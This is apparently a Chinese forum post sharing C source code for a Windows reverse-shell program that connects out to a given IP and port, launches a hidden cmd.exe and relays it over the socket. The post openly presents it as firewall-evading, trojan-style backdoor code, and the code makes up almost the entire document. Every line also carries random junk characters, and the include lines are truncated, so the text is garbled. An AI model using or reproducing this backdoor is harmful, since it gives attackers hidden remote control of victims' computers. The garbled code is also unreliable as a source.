这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8QFn/&Ql$B
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/* ============================== D,aJ`PK~
Rebound port in Windows NT m?Gb5=qo
By wind,2006/7 4r@dV%:%<
===============================*/ >[4;K&$B
#include Ov
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#include u>~G)lx%
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#pragma comment(lib,"wsock32.lib") yIS.'mK
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void OutputShell(); .Yxx
SOCKET sClient; /]/3)@wT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *^'$YVd#
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void main(int argc,char **argv) 7e,EI9?.
{ =4RBHe8`
WSADATA stWsaData; Vt_NvPB`
int nRet; IN? A`A
SOCKADDR_IN stSaiClient,stSaiServer; 4<`x*8`
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if(argc != 3) (t.pM P4
{ yFt'<{z[nL
printf("Useage:\n\rRebound DestIP DestPort\n"); ~I0I#_$'P
return; RI#Cr+/
} sLx!Do$'
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WSAStartup(MAKEWORD(2,2),&stWsaData); oR.KtS$uh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kcH?l
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stSaiClient.sin_family = AF_INET; h[()!\vBy
stSaiClient.sin_port = htons(0); .Gq)@{o>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =rj5 q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~rBeJZ
{ *iSsGb\M%
printf("Bind Socket Failed!\n"); Dk#$PjcRE
return; Jo1=C.V`Y
} uJ S+;H
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stSaiServer.sin_family = AF_INET; &[BDqi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )J/,-p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2?LZW14$d
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y8U |A0@$`
{ (rcH\
printf("Connect Error!"); Ez^U1KKOE7
return; /easmf]
} B\2<r5|QG
OutputShell(); L+@RK6dq
} w'q}aQS
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void OutputShell() uS3s
{ EthnI7Y
char szBuff[1024]; clz6;P
SECURITY_ATTRIBUTES stSecurityAttributes; iMnp `:*
OSVERSIONINFO stOsversionInfo; d+KLtvB%M
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q!Rknj 2
STARTUPINFO stStartupInfo; 3=!\>0;E-
char *szShell; \WD}@6)
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PROCESS_INFORMATION stProcessInformation; H*_:IfI!
unsigned long lBytesRead; sL;qC\S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^ N]u
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `gq@LP"o
stSecurityAttributes.lpSecurityDescriptor = 0; >^%]F[Wo
stSecurityAttributes.bInheritHandle = TRUE; `.+_}.m
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %&bO+$H3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g7k|Ho-W
X}`|"NIk.
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b_*Y5"(*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e:IUO1#
stStartupInfo.wShowWindow = SW_HIDE; SP9_s7LL
stStartupInfo.hStdInput = hReadPipe; vukI`(#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yG?,8!/]
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GetVersionEx(&stOsversionInfo); 50Z$3T
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switch(stOsversionInfo.dwPlatformId) U/E M(y
{ S?nXpYr
case 1: AW@I,
szShell = "command.com"; HT/zcd)}#
break; ]Y;EIn
default: 79<{cexP
szShell = "cmd.exe"; I.I:2Ew+
break; hVRpk0IJDK
} i'|rx2]e
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U3MfEM!x
msS5"Qr
send(sClient,szMsg,77,0); G"0YCi#I|
while(1) o
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{ O<l_2?S1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zzi%r=%r&
if(lBytesRead) g$eb@0$
{ ZRO
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k}y1IW+3
send(sClient,szBuff,lBytesRead,0); ~}|)@,N'bm
} g*Nc+W](P>
else fkWuSGi
{ F*rU=cu
lBytesRead=recv(sClient,szBuff,1024,0); H2 7_T]\
if(lBytesRead<=0) break; #/t^?$8\\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Pq`]^^=be'
} jdV E/5
} xlF$PpRNM
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return; hZ!N8nWwNR
}